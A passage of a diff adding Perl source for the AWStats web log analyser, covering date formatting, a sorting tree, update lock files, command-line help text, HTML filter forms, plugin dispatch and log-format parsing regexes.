alt=\"$string\"")." title=\"$string\""; +} + +#------------------------------------------------------------------------------ +# Function: Tell if an email is a local or external email +# Parameters: email +# Input: $SiteDomain(exact string) $HostAliases(quoted regex string) +# Output: None +# Return: -1, 0 or 1 +#------------------------------------------------------------------------------ +sub IsLocalEMail { + my $email = shift || 'unknown'; + if ( $email !~ /\@(.*)$/ ) { return 0; } + my $domain = $1; + if ( $domain =~ /^$SiteDomain$/i ) { return 1; } + foreach (@HostAliases) { + if ( $domain =~ /$_/ ) { return 1; } + } + return -1; +} + +#------------------------------------------------------------------------------ +# Function: Format a date according to Message[78] (country date format) +# Parameters: String date YYYYMMDDHHMMSS +# Option 0=LastUpdate and LastTime date +# 1=Arrays date except daymonthvalues +# 2=daymonthvalues date (only year month and day) +# Input: $Message[78] +# Output: None +# Return: Date with format defined by Message[78] and option +#------------------------------------------------------------------------------ +sub Format_Date { + my $date = shift; + my $option = shift || 0; + my $year = substr( "$date", 0, 4 ); + my $month = substr( "$date", 4, 2 ); + my $day = substr( "$date", 6, 2 ); + my $hour = substr( "$date", 8, 2 ); + my $min = substr( "$date", 10, 2 ); + my $sec = substr( "$date", 12, 2 ); + my $dateformat = $Message[78]; + + if ( $option == 2 ) { + $dateformat =~ s/^[^ymd]+//g; + $dateformat =~ s/[^ymd]+$//g; + } + $dateformat =~ s/yyyy/$year/g; + $dateformat =~ s/yy/$year/g; + $dateformat =~ s/mmm/$MonthNumLib{$month}/g; + $dateformat =~ s/mm/$month/g; + $dateformat =~ s/dd/$day/g; + $dateformat =~ s/HH/$hour/g; + $dateformat =~ s/MM/$min/g; + $dateformat =~ s/SS/$sec/g; + return "$dateformat"; +} + +#------------------------------------------------------------------------------ +# Function: Return 1 if string contains only ascii chars +# Parameters: string +# Input: None +# Output: None +# Return: 0 or 1 +#------------------------------------------------------------------------------ +sub IsAscii { + my $string = shift; + if ($Debug) { debug( "IsAscii($string)", 5 ); } + if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) { + if ($Debug) { debug( " Yes", 6 ); } + return + 1 + ; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t + } + if ($Debug) { debug( " No", 6 ); } + return 0; +} + +#------------------------------------------------------------------------------ +# Function: Return the lower value between 2 but exclude value if 0 +# Parameters: Val1 and Val2 +# Input: None +# Output: None +# Return: min(Val1,Val2) +#------------------------------------------------------------------------------ +sub MinimumButNoZero { + my ( $val1, $val2 ) = @_; + return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 ); +} + +#------------------------------------------------------------------------------ +# Function: Add a val from sorting tree +# Parameters: keytoadd keyval [firstadd] +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub AddInTree { + my $keytoadd = shift; + my $keyval = shift; + my $firstadd = shift || 0; + if ( $firstadd == 1 ) { # Val is the first one + if ($Debug) { debug( " firstadd", 4 ); } + $val{$keyval} = $keytoadd; + $lowerval = $keyval; + if ($Debug) { + debug( + " lowerval=$lowerval, nb elem val=" + . ( scalar keys %val ) + . ", nb elem egal=" + . ( scalar keys %egal ) . ".", + 4 + ); + } + return; + } + if ( $val{$keyval} ) { # Val is already in tree + if ($Debug) { debug( " val is already in tree", 4 ); } + $egal{$keytoadd} = $val{$keyval}; + $val{$keyval} = $keytoadd; + if ($Debug) { + debug( + " lowerval=$lowerval, nb elem val=" + . ( scalar keys %val ) + . ", nb elem egal=" + . ( scalar keys %egal ) . ".", + 4 + ); + } + return; + } + if ( $keyval <= $lowerval ) + { # Val is a new one lower (should happens only when tree is not full) + if ($Debug) { + debug( +" keytoadd val=$keyval is lower or equal to lowerval=$lowerval", + 4 + ); + } + $val{$keyval} = $keytoadd; + $nextval{$keyval} = $lowerval; + $lowerval = $keyval; + if ($Debug) { + debug( + " lowerval=$lowerval, nb elem val=" + . ( scalar keys %val ) + . ", nb elem egal=" + . ( scalar keys %egal ) . ".", + 4 + ); + } + return; + } + + # Val is a new one higher + if ($Debug) { + debug( " keytoadd val=$keyval is higher than lowerval=$lowerval", 4 ); + } + $val{$keyval} = $keytoadd; + my $valcursor = $lowerval; # valcursor is value just before keyval + while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) { + $valcursor = $nextval{$valcursor}; + } + if ( $nextval{$valcursor} ) + { # keyval is between valcursor and nextval{valcursor} + $nextval{$keyval} = $nextval{$valcursor}; + } + $nextval{$valcursor} = $keyval; + if ($Debug) { + debug( + " lowerval=$lowerval, nb elem val=" + . ( scalar keys %val ) + . ", nb elem egal=" + . ( scalar keys %egal ) . ".", + 4 + ); + } +} + +#------------------------------------------------------------------------------ +# Function: Remove a val from sorting tree +# Parameters: None +# Input: $lowerval %val %egal +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub Removelowerval { + my $keytoremove = $val{$lowerval}; # This is lower key + if ($Debug) { + debug( " remove for lowerval=$lowerval: key=$keytoremove", 4 ); + } + if ( $egal{$keytoremove} ) { + $val{$lowerval} = $egal{$keytoremove}; + delete $egal{$keytoremove}; + } + else { + delete $val{$lowerval}; + $lowerval = $nextval{$lowerval}; # Set new lowerval + } + if ($Debug) { + debug( + " new lower value=$lowerval, val size=" + . ( scalar keys %val ) + . ", egal size=" + . ( scalar keys %egal ), + 4 + ); + } +} + +#------------------------------------------------------------------------------ +# Function: Build @keylist array +# Parameters: Size max for @keylist array, +# Min value in hash for select, +# Hash used for select, +# Hash used for order +# Input: None +# Output: None +# Return: @keylist response array +#------------------------------------------------------------------------------ +sub BuildKeyList { + my $ArraySize = shift || error( +"System error. Call to BuildKeyList function with incorrect value for first param", + "", "", 1 + ); + my $MinValue = shift || error( +"System error. Call to BuildKeyList function with incorrect value for second param", + "", "", 1 + ); + my $hashforselect = shift; + my $hashfororder = shift; + if ($Debug) { + debug( + " BuildKeyList($ArraySize,$MinValue,$hashforselect with size=" + . ( scalar keys %$hashforselect ) + . ",$hashfororder with size=" + . ( scalar keys %$hashfororder ) . ")", + 3 + ); + } + delete $hashforselect->{0}; + delete $hashforselect->{ '' + }; # Those is to protect from infinite loop when hash array has an incorrect null key + my $count = 0; + $lowerval = 0; # Global because used in AddInTree and Removelowerval + %val = (); + %nextval = (); + %egal = (); + + foreach my $key ( keys %$hashforselect ) { + if ( $count < $ArraySize ) { + if ( $hashforselect->{$key} >= $MinValue ) { + $count++; + if ($Debug) { + debug( + " Add in tree entry $count : $key (value=" + . ( $hashfororder->{$key} || 0 ) + . ", tree not full)", + 4 + ); + } + AddInTree( $key, $hashfororder->{$key} || 0, $count ); + } + next; + } + $count++; + if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; } + if ($Debug) { + debug( + " Add in tree entry $count : $key (value=" + . ( $hashfororder->{$key} || 0 ) + . " > lowerval=$lowerval)", + 4 + ); + } + AddInTree( $key, $hashfororder->{$key} || 0 ); + if ($Debug) { debug( " Removelower in tree", 4 ); } + Removelowerval(); + } + + # Build key list and sort it + if ($Debug) { + debug( + " Build key list and sort it. lowerval=$lowerval, nb elem val=" + . ( scalar keys %val ) + . ", nb elem egal=" + . ( scalar keys %egal ) . ".", + 3 + ); + } + my %notsortedkeylist = (); + foreach my $key ( values %val ) { $notsortedkeylist{$key} = 1; } + foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; } + @keylist = (); + @keylist = ( + sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) } + keys %notsortedkeylist + ); + if ($Debug) { + debug( " BuildKeyList End (keylist size=" . (@keylist) . ")", 3 ); + } + return; +} + +#------------------------------------------------------------------------------ +# Function: Lock or unlock update +# Parameters: status (1 to lock, 0 to unlock) +# Input: $DirLock (if status=0) $PROG $FileSuffix +# Output: $DirLock (if status=1) +# Return: None +#------------------------------------------------------------------------------ +sub Lock_Update { + my $status = shift; + my $lock = "$PROG$FileSuffix.lock"; + if ($status) { + + # We stop if there is at least one lock file wherever it is + foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) { + my $newkey = $key; + $newkey =~ s/[\\\/]$//; + if ( -f "$newkey/$lock" ) { + error( +"An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.", + "", "", 1 + ); + } + } + + # Set lock where we can + foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) { + if ( !-d "$key" ) { next; } + $DirLock = $key; + $DirLock =~ s/[\\\/]$//; + if ($Debug) { debug("Update lock file $DirLock/$lock is set"); } + open( LOCK, ">$DirLock/$lock" ) + || error( "Failed to create lock file $DirLock/$lock", "", "", + 1 ); + print LOCK +"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n"; + close(LOCK); + last; + } + } + else { + + # Remove lock + if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); } + unlink("$DirLock/$lock"); + } + return; +} + +#------------------------------------------------------------------------------ +# Function: Signal handler to call Lock_Update to remove lock file +# Parameters: Signal name +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub SigHandler { + my $signame = shift; + print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n"; + &Lock_Update(0); + exit 1; +} + +#------------------------------------------------------------------------------ +# Function: Convert an IPAddress into an integer +# Parameters: IPAddress +# Input: None +# Output: None +# Return: Int +#------------------------------------------------------------------------------ +sub Convert_IP_To_Decimal { + my ($IPAddress) = @_; + my @ip_seg_arr = split( /\./, $IPAddress ); + my $decimal_ip_address = + 256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 * + $ip_seg_arr[2] + $ip_seg_arr[3]; + return ($decimal_ip_address); +} + +#------------------------------------------------------------------------------ +# Function: Test there is at least one value in list not null +# Parameters: List of values +# Input: None +# Output: None +# Return: 1 There is at least one not null value, 0 else +#------------------------------------------------------------------------------ +sub AtLeastOneNotNull { + if ($Debug) { + debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 ); + } + foreach my $val (@_) { + if ($val) { return 1; } + } + return 0; +} + +#------------------------------------------------------------------------------ +# Function: Prints the command line interface help information +# Parameters: None +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub PrintCLIHelp{ + &Read_Ref_Data( + 'browsers', 'domains', 'operating_systems', 'robots', + 'search_engines', 'worms' + ); + print "----- $PROG $VERSION (c) 2000-2013 Laurent Destailleur -----\n"; + print +"AWStats is a free web server logfile analyzer to show you advanced web\n"; + print "statistics.\n"; + print +"AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n"; + print "with a GNU General Public License (See LICENSE file for details).\n"; + print "\n"; + print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n"; + print "\n"; + print +" This runs $PROG in command line to update statistics (-update option) of a\n"; + print +" web site, from the log file defined in AWStats config file, or build a HTML\n"; + print " report (-output option).\n"; + print +" First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n"; + print " If not found, $PROG tries to read $PROG.conf, and finally the full path passed to -config=\n"; + print +" Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n"; + print +" in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n"; + print " awstats.pl script file.\n"; + print +" Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n"; + print +" use it as the \"config\" value, whatever is the value on command line or URL.\n"; + print " See AWStats documentation for all setup instrutions.\n"; + print "\n"; + print "Options to update statistics:\n"; + print " -update to update statistics (default)\n"; + print +" -showsteps to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n"; + print +" -showcorrupted to add output for each corrupted lines found, with reason\n"; + print +" -showdropped to add output for each dropped lines found, with reason\n"; + print " -showunknownorigin to output referer when it can't be parsed\n"; + print +" -showdirectorigin to output log line when origin is a direct access\n"; + print " -updatefor=n to stop the update process after parsing n lines\n"; + print +" -LogFile=x to change log to analyze whatever is 'LogFile' in config file\n"; + print +" Be care to process log files in chronological order when updating statistics.\n"; + print "\n"; + print "Options to show statistics:\n"; + print +" -output to output main HTML report (no update made except with -update)\n"; + print " -output=x to output other report pages where x is:\n"; + print +" alldomains to build page of all domains/countries\n"; + print " allhosts to build page of all hosts\n"; + print + " lasthosts to build page of last hits for hosts\n"; + print + " unknownip to build page of all unresolved IP\n"; + print +" allemails to build page of all email senders (maillog)\n"; + print +" lastemails to build page of last email senders (maillog)\n"; + print +" allemailr to build page of all email receivers (maillog)\n"; + print +" lastemailr to build page of last email receivers (maillog)\n"; + print " alllogins to build page of all logins used\n"; + print + " lastlogins to build page of last hits for logins\n"; + print +" allrobots to build page of all robots/spider visits\n"; + print + " lastrobots to build page of last hits for robots\n"; + print " urldetail to list most often viewed pages \n"; + print +" urldetail:filter to list most often viewed pages matching filter\n"; + print " urlentry to list entry pages\n"; + print + " urlentry:filter to list entry pages matching filter\n"; + print " urlexit to list exit pages\n"; + print + " urlexit:filter to list exit pages matching filter\n"; + print +" osdetail to build page with os detailed versions\n"; + print +" browserdetail to build page with browsers detailed versions\n"; + print +" unknownbrowser to list 'User Agents' with unknown browser\n"; + print + " unknownos to list 'User Agents' with unknown OS\n"; + print +" refererse to build page of all refering search engines\n"; + print + " refererpages to build page of all refering pages\n"; + + #print " referersites to build page of all refering sites\n"; + print +" keyphrases to list all keyphrases used on search engines\n"; + print +" keywords to list all keywords used on search engines\n"; + print " errors404 to list 'Referers' for 404 errors\n"; + print +" allextraX to build page of all values for ExtraSection X\n"; + print " -staticlinks to have static links in HTML report page\n"; + print " -staticlinksext=xxx to have static links with .xxx extension instead of .html\n"; + print +" -lang=LL to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n"; + print " -month=MM to output a HTML report for an old month MM\n"; + print " -year=YYYY to output a HTML report for an old year YYYY\n"; + print +" The 'date' options doesn't allow you to process old log file. They only\n"; + print +" allow you to see a past report for a chosen month/year period instead of\n"; + print " current month/year.\n"; + print "\n"; + print "Other options:\n"; + print +" -debug=X to add debug informations lesser than level X (speed reduced)\n"; + print "\n"; + print "Now supports/detects:\n"; + print +" Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n"; + print " Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n"; + print " Number of visits, number of unique visitors\n"; + print " Visits duration and list of last visits\n"; + print " Authenticated users\n"; + print " Days of week and rush hours\n"; + print " Hosts list and unresolved IP addresses list\n"; + print " Most viewed, entry and exit pages\n"; + print " Files type and Web compression (mod_gzip, mod_deflate stats)\n"; + print " Screen size\n"; + print " Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n"; + print " Quicktime reader, WMA reader, PDF reader\n"; + print " Configurable personalized reports\n"; + print " " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n"; + print " " . ( scalar keys %RobotsHashIDLib ) . " robots\n"; + print " " . ( scalar keys %WormsHashLib ) . " worm's families\n"; + print " " . ( scalar keys %OSHashLib ) . " operating systems\n"; + print " " . ( scalar keys %BrowsersHashIDLib ) . " browsers"; + &Read_Ref_Data('browsers_phone'); + print " (" + . ( scalar keys %BrowsersHashIDLib ) + . " with phone browsers database)\n"; + print " " + . ( scalar keys %SearchEnginesHashLib ) + . " search engines (and keyphrases/keywords used from them)\n"; + print " All HTTP errors with last referrer\n"; + print " Report by day/month/year\n"; + print " Dynamic or static HTML or XHTML reports, static PDF reports\n"; + print " Indexed text or XML monthly database\n"; + print " And a lot of other advanced features and options...\n"; + print "New versions and FAQ at http://www.awstats.org\n"; +} + +#------------------------------------------------------------------------------ +# Function: Return the string to add in html tag to include popup javascript code +# Parameters: tooltip number +# Input: None +# Output: None +# Return: string with javascript code +#------------------------------------------------------------------------------ +sub Tooltip { + my $ttnb = shift; + return ( + $TOOLTIPON + ? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\"" + : "" + ); +} + +#------------------------------------------------------------------------------ +# Function: Insert a form filter +# Parameters: Name of filter field, default for filter field, default for exclude filter field +# Input: $StaticLinks, $QueryString, $SiteConfig, $DirConfig +# Output: HTML Form +# Return: None +#------------------------------------------------------------------------------ +sub HTMLShowFormFilter { + my $fieldfiltername = shift; + my $fieldfilterinvalue = shift; + my $fieldfilterexvalue = shift; + if ( !$StaticLinks ) { + my $NewLinkParams = ${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } + print "\n<form name=\"FormFilter\" action=\"" + . XMLEncode("$AWScript${NewLinkParams}") + . "\" class=\"aws_border\">\n"; + print +"<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n"; + print "<td align=\"left\" width=\"50\">$Message[79] :</td>\n"; + print +"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n"; + print "<td> </td>"; + print "<td align=\"left\" width=\"100\">$Message[153] :</td>\n"; + print +"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n"; + print "<td>"; + print "<input type=\"hidden\" name=\"output\" value=\"" + . join( ',', keys %HTMLOutput ) + . "\" />\n"; + + if ($SiteConfig) { + print +"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n"; + } + if ($DirConfig) { + print +"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n"; + } + if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) { + print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n"; + } + if ( $QueryString =~ /(^|&|&)month=(\d\d)/i + || $QueryString =~ /(^|&|&)month=(all)/i ) + { + print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n"; + } + if ( $QueryString =~ /(^|&|&)lang=(\w+)/i ) { + print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n"; + } + if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { + print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n"; + } + if ( $QueryString =~ /(^|&|&)framename=(\w+)/i ) { + print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n"; + } + print +"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n"; + print "<td> </td>"; + print "</tr></table>\n"; + print "</form>\n"; + print "<br />\n"; + print "\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Write other user info (with help of plugin) +# Parameters: $user +# Input: $SiteConfig +# Output: URL link +# Return: None +#------------------------------------------------------------------------------ +sub HTMLShowUserInfo { + my $user = shift; + + # Call to plugins' function ShowInfoUser + foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) { + + # my $function="ShowInfoUser_$pluginname('$user')"; + # eval("$function"); + my $function = "ShowInfoUser_$pluginname"; + &$function($user); + } +} + +#------------------------------------------------------------------------------ +# Function: Write other cluster info (with help of plugin) +# Parameters: $clusternb +# Input: $SiteConfig +# Output: Cluster info +# Return: None +#------------------------------------------------------------------------------ +sub HTMLShowClusterInfo { + my $cluster = shift; + + # Call to plugins' function ShowInfoCluster + foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } ) + { + + # my $function="ShowInfoCluster_$pluginname('$user')"; + # eval("$function"); + my $function = "ShowInfoCluster_$pluginname"; + &$function($cluster); + } +} + +#------------------------------------------------------------------------------ +# Function: Write other host info (with help of plugin) +# Parameters: $host +# Input: $LinksToWhoIs $LinksToWhoIsIp +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub HTMLShowHostInfo { + my $host = shift; + + # Call to plugins' function ShowInfoHost + foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) { + + # my $function="ShowInfoHost_$pluginname('$host')"; + # eval("$function"); + my $function = "ShowInfoHost_$pluginname"; + &$function($host); + } +} + +#------------------------------------------------------------------------------ +# Function: Write other url info (with help of plugin) +# Parameters: $url +# Input: %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl +# Output: URL link +# Return: None +#------------------------------------------------------------------------------ +sub HTMLShowURLInfo { + my $url = shift; + my $nompage = CleanXSS($url); + + # Call to plugins' function ShowInfoURL + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) { + + # my $function="ShowInfoURL_$pluginname('$url')"; + # eval("$function"); + my $function = "ShowInfoURL_$pluginname"; + &$function($url); + } + + if ( length($nompage) > $MaxLengthOfShownURL ) { + $nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "..."; + } + if ($ShowLinksOnUrl) { + my $newkey = CleanXSS($url); + if ( $LogType eq 'W' || $LogType eq 'S' ) { # Web or streaming log file + if ( $newkey =~ /^http(s|):/i ) + { # URL seems to be extracted from a proxy log file + print "<a href=\"" + . XMLEncode("$newkey") + . "\" target=\"url\" rel=\"nofollow\">" + . XMLEncode($nompage) . "</a>"; + } + elsif ( $newkey =~ /^\// ) + { # URL seems to be an url extracted from a web or wap server log file + $newkey =~ s/^\/$SiteDomain//i; + + # Define urlprot + my $urlprot = 'http'; + if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ ) + { + $urlprot = 'https'; + } + print "<a href=\"" + . XMLEncode("$urlprot://$SiteDomain$newkey") + . "\" target=\"url\" rel=\"nofollow\">" + . XMLEncode($nompage) . "</a>"; + } + else { + print XMLEncode($nompage); + } + } + elsif ( $LogType eq 'F' ) { # Ftp log file + print XMLEncode($nompage); + } + elsif ( $LogType eq 'M' ) { # Smtp log file + print XMLEncode($nompage); + } + else { # Other type log file + print XMLEncode($nompage); + } + } + else { + print XMLEncode($nompage); + } +} + +#------------------------------------------------------------------------------ +# Function: Define value for PerlParsingFormat (used for regex log record parsing) +# Parameters: $LogFormat +# Input: - +# Output: $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat +# Return: - +#------------------------------------------------------------------------------ +sub DefinePerlParsingFormat { + my $LogFormat = shift; + $pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method = + $pos_url = $pos_code = $pos_size = -1; + $pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout = + $pos_compratio = -1; + $pos_cluster = $pos_emails = $pos_emailr = $pos_hostr = -1; + @pos_extra = (); + @fieldlib = (); + $PerlParsingFormat = ''; + +# Log records examples: +# Apache combined: 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" +# Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-" +# Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-" +# Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-" +# IIS: 2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm +# WebStar: 05/21/00 00:17:31 OK 200 212.242.30.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) http://www.cover.dk/ "www.cover.dk" :Documentation:graphics:starninelogo.white.gif 1133 +# Squid extended: 12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT +# Log formats: +# Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct. +# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct. +# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n) + if ($Debug) { + debug( +"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')" + ); + } + if ( $LogFormat =~ /^[1-6]$/ ) { # Pre-defined log format + if ( $LogFormat eq '1' || $LogFormat eq '6' ) + { # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"". + # %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "". + +# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\""; + $PerlParsingFormat = +"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\""; + $pos_host = 0; + $pos_logname = 1; + $pos_date = 2; + $pos_method = 3; + $pos_url = 4; + $pos_code = 5; + $pos_size = 6; + $pos_referer = 7; + $pos_agent = 8; + @fieldlib = ( + 'host', 'logname', 'date', 'method', 'url', 'code', + 'size', 'referer', 'ua' + ); + } + elsif ( $LogFormat eq '2' ) + { # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)" + $PerlParsingFormat = +"(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)"; + $pos_date = 0; + $pos_host = 1; + $pos_logname = 2; + $pos_method = 3; + $pos_url = 4; + $pos_code = 5; + $pos_size = 6; + $pos_agent = 7; + $pos_referer = 8; + @fieldlib = ( + 'date', 'host', 'logname', 'method', 'url', 'code', + 'size', 'ua', 'referer' + ); + } + elsif ( $LogFormat eq '3' ) { + $PerlParsingFormat = +"([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)"; + $pos_date = 0; + $pos_method = 1; + $pos_code = 2; + $pos_host = 3; + $pos_agent = 4; + $pos_referer = 5; + $pos_url = 6; + $pos_size = 7; + @fieldlib = ( + 'date', 'method', 'code', 'host', + 'ua', 'referer', 'url', 'size' + ); + } + elsif ( $LogFormat eq '4' ) { # Same than "%h %l %u %t \"%r\" %>s %b" + # %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes). + $PerlParsingFormat = +"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)"; + $pos_host = 0; + $pos_logname = 1; + $pos_date = 2; + $pos_method = 3; + $pos_url = 4; + $pos_code = 5; + $pos_size = 6; + @fieldlib = + ( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' ); + } + } + else { # Personalized log format + my $LogFormatString = $LogFormat; + + # Replacement for Notes format string that are not Apache + $LogFormatString =~ s/%vh/%virtualname/g; + + # Replacement for Apache format string + $LogFormatString =~ s/%v(\s)/%virtualname$1/g; + $LogFormatString =~ s/%v$/%virtualname/g; + $LogFormatString =~ s/%h(\s)/%host$1/g; + $LogFormatString =~ s/%h$/%host/g; + $LogFormatString =~ s/%l(\s)/%other$1/g; + $LogFormatString =~ s/%l$/%other/g; + $LogFormatString =~ s/\"%u\"/%lognamequot/g; + $LogFormatString =~ s/%u(\s)/%logname$1/g; + $LogFormatString =~ s/%u$/%logname/g; + $LogFormatString =~ s/%t(\s)/%time1$1/g; + $LogFormatString =~ s/%t$/%time1/g; + $LogFormatString =~ s/\"%r\"/%methodurl/g; + $LogFormatString =~ s/%>s/%code/g; + $LogFormatString =~ s/%b(\s)/%bytesd$1/g; + $LogFormatString =~ s/%b$/%bytesd/g; + $LogFormatString =~ s/\"%{Referer}i\"/%refererquot/g; + $LogFormatString =~ s/\"%{User-Agent}i\"/%uaquot/g; + $LogFormatString =~ s/%{mod_gzip_input_size}n/%gzipin/g; + $LogFormatString =~ s/%{mod_gzip_output_size}n/%gzipout/g; + $LogFormatString =~ s/%{mod_gzip_compression_ratio}n/%gzipratio/g; + $LogFormatString =~ s/\(%{ratio}n\)/%deflateratio/g; + + # Replacement for a IIS and ISA format string + $LogFormatString =~ s/cs-uri-query/%query/g; # Must be before cs-uri + $LogFormatString =~ s/date\stime/%time2/g; + $LogFormatString =~ s/c-ip/%host/g; + $LogFormatString =~ s/cs-username/%logname/g; + $LogFormatString =~ s/cs-method/%method/g; # GET, POST, SMTP, RETR STOR + $LogFormatString =~ s/cs-uri-stem/%url/g; + $LogFormatString =~ s/cs-uri/%url/g; + $LogFormatString =~ s/sc-status/%code/g; + $LogFormatString =~ s/sc-bytes/%bytesd/g; + $LogFormatString =~ s/cs-version/%other/g; # Protocol + $LogFormatString =~ s/cs\(User-Agent\)/%ua/g; + $LogFormatString =~ s/c-agent/%ua/g; + $LogFormatString =~ s/cs\(Referer\)/%referer/g; + $LogFormatString =~ 